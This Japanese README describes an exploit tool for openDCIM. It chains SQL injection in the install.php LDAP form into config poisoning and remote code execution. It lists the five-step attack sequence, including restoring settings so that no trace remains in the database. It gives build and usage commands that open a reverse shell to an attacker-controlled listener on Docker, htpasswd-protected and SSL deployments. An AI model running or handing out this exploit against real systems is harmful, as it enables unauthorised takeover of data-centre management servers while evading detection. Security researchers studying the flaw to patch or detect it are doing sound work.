openDCIM - Config Poisoning を介した SQLi から RCE へ

openDCIM の install.php LDAP 設定フォームを標的としたリモートコード実行チェーン。VulnCheck go-exploit フレームワーク上に構築。

脆弱性チェーン

影響を受けるバージョン: 全バージョン (最新コミット 4467e9c4 でテスト済み)

動作の仕組み

1. install.php に POST - LDAP フォーム経由の SQL インジェクションで設定をバックアップし、dot をコマンドペイロードで上書き
2. report_network_map.php を GET - exec() をトリガーし、id の出力で RCE を確認
3. install.php に POST - dot をリバースシェルペイロードで上書き
4. report_network_map.php を GET - リバースシェルをトリガー
5. install.php に POST - バックアップテーブルから元の設定値をすべて復元

悪用後、データベースには痕跡が一切残りません。

ビルド

go build -o opendcim-exploit .

使用方法

Docker デプロイ環境 (認証なし)

# Scan only
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80

# Exploit with reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer

htpasswd デプロイ環境 (有効なユーザーなら誰でも)

./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass

SSL

./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer

フラグ